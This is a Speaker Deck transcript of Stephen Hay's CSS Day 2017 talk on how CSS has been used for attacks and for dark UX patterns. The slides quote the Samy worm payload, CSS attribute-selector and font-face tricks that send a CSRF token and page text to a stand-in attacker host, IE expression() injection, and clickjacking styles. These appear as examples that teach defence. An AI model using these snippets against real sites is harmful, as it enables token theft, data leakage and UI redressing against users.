Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
CSS For Good, Not Evil
Search
Stephen Hay
June 16, 2017
Design
2
1.8k
CSS For Good, Not Evil
My talk on CSS security issues and a bit on dark UX, at CSS Day 2017 in Amsterdam
Stephen Hay
June 16, 2017
Tweet
Share
More Decks by Stephen Hay
See All by Stephen Hay
The Virtues of Low-fi
stephenhay
1
180
The Tail and Its Dog
stephenhay
1
310
From Deception to Clarity
stephenhay
4
670
Sculpting Text
stephenhay
4
930
Power Tools for Browser-Based Design (Artifact 2014)
stephenhay
6
520
The Zero Interface: Using Zero-based Thinking to Maintain Simplicity (FOWD London 2014)
stephenhay
2
560
Flexbox: One Giant Leap for Web Layout
stephenhay
6
410
The New Photoshop, Part 2: The Revenge of the Web (FEC13)
stephenhay
9
940
Flexbox: One Giant Leap for Web Layout
stephenhay
5
180
Other Decks in Design
See All in Design
共通認識のためのユーザビリティテスト by AIエージェント - Accelerating Value Delivery
gakuoya
1
700
サービスデザインにおける、 映像活用の可能性(Spectrum Tokyo Meetup #18)
ka71
0
150
AIを身近に感じるために、デザイナー全員で一つのサービスを使ってみた
_psyc0_
0
260
Installing and Running decksh/pdfdeck
ajstarks
1
820
児童相談所における養育里親委託時の親権者同意に向けたコミュニケーションの実態
trivia
0
520
読書シェア会 vol.5 / Yumemi.grow 20250526
rakus_dev
0
1.7k
「UXとUIの違い」v2
shirasu3
0
180
Memory Man v3 (WIP)
storybychad
PRO
0
2.3k
FigmaのFigmaファイルから学ぶTips & Tricks
hilokifigma
0
620
デザインシステムの「種」を使って、受託開発を加速させる
akane___ui
0
10k
「描く」という衝動に立ち返る〜Figma Drawがひらく思考のかたち〜
transit_kix
1
1.1k
Bulletproof Design System with TypeScript
takanorip
6
3.8k
Featured
See All Featured
Building a Scalable Design System with Sketch
lauravandoore
462
33k
Unsuck your backbone
ammeep
671
58k
ReactJS: Keep Simple. Everything can be a component!
pedronauck
667
120k
StorybookのUI Testing Handbookを読んだ
zakiyama
30
6k
Git: the NoSQL Database
bkeepers
PRO
431
65k
How to Create Impact in a Changing Tech Landscape [PerfNow 2023]
tammyeverts
53
2.9k
Making Projects Easy
brettharned
117
6.3k
VelocityConf: Rendering Performance Case Studies
addyosmani
332
24k
Build The Right Thing And Hit Your Dates
maggiecrowley
37
2.8k
Building Adaptive Systems
keathley
43
2.7k
Raft: Consensus for Rubyists
vanstee
140
7.1k
GraphQLの誤解/rethinking-graphql
sonatard
71
11k
Transcript
CSS For Evil, Not Good. How style has been used
to manipulate people, invade their privacy, steal their data, and other assorted nasty things. Stephen Hay, CSS Day 2017, Amsterdam
None
None
catawiki.com/jobs
MySpace
None
None
None
Samy
In a relationship.
In a relationship. hot
None
but most of all, Samy is my hero By
vissago / Dan Tentler - http://www.flickr.com/photos/vissago/4861025347/, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=26085303
<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34); …” </div> https://samy.pl/popular/tech.html http://www.securiteam.com/securitynews/6I00C2KEAA.html
WTF https://motherboard.vice.com/en_us/article/the-myspace-worm-that-changed-the-internet-forever
Samy didn’t have evil intentions.
I’m not a security expert.
None
There are different levels of evil.
Level 1: Getting some browsing history.
weirdbutdead.com
weirdbutdead.com getComputedStyle
Boolean algebra & mix-blend-mode
http://lcamtuf.coredump.cx/whack/ http://lcamtuf.coredump.cx/css_calc/
Level 2 Mathias Bynens’ Evil Basement of Horrors
Some Belgian kid did a presentation… https://speakerdeck.com/mathiasbynens/3-dot-14-things-i-didnt-know-about-css-at-cssconf-dot-asia-2015
Stealing DOM data
<input type="hidden" name="csrf-token" id="csrf" value=“555…"> #csrf[value^="a"] { background: url(//evilmathias.example.com/?v=a); }
#csrf[value^="b"] { background: url(//evilmathias.example.com/?v=b); } etc.
Text-symbol leaking
<div id=“my-dirtiest-secrets"> I think Javascript is OK </div> @font-face {
font-family: evilmathias; src: url(//evilmathias.example.com/?v=A); unicode-range: U+0041; } #my-dirtiest-secrets { font-family: evilmathias; }
Forcing IE=7 Expressions
.foo { width: expression( alert(‘Bad Evil Mathias’) ); } <meta
http-equiv="X-UA-Compatible" content="IE=7"> <iframe src=“https://target.example.com/page- with-css-payload”></iframe>
Level 3 Path-relative stylesheet import http://blog.portswigger.net/2015/02/prssi.html
http://example.com/posts.php <link href="styles.css" rel="stylesheet" type="text/css" /> Blah blah blah *
{ width: expression( alert( ‘evil’ )) } http://example.com/posts.php/
Level 4 Content replacement
<style> nav {display: none;} </style> <div style”[various styles]”> Content </div>
Oops: allow users to add <style>
Allow users to add classes. Oops.
Allow users to add classes. Oops.
Level 5 UI Redressing “Clickjacking”
LinkedIn
.li_style { position: absolute; width: 100%; z-index: 10021; position: fixed;
top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden }
{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} - https://security.linkedin.com/blog-archive#11232015
None
Level 6 Phishing
https://www.askdavetaylor.com/beware-the-latest-apple-id-phishing-attack/
None
None
One thing going for us, at least for now: most
scammers aren’t great designers.
“Good” design works. Even for evil.
Level 7 Dark Patterns Black Hat UX
Sophisticated deceivers seem knowledgable about behaviour as well as technology.
None
Image: https://www.brignull.com/
None
None
“Roach Motel”
Unsubscribe…
None
None
None
Misdirection
None
None
None
None
Confirmation of desired behaviour
Yes | No Yes | Not right now Yes |
Maybe later There is a significant difference between these sets of choices.
Exploiting behavioural patterns
None
People who stand to gain something from you have motive
to deceive.
Level 8 Command execution on a target system https://lifepluslinux.blogspot.nl/2017/01/look-before-you-paste-from-website-to.html
None
None
When systems become more complex, the number of possible weaknesses
can increase, yet become less apparent.
What’s the takeaway here? Nothing.
Is there a positive message? No.
Thank you! @stephenhay Special thanks to Mathias “Evil Belgian Kid”
Bynens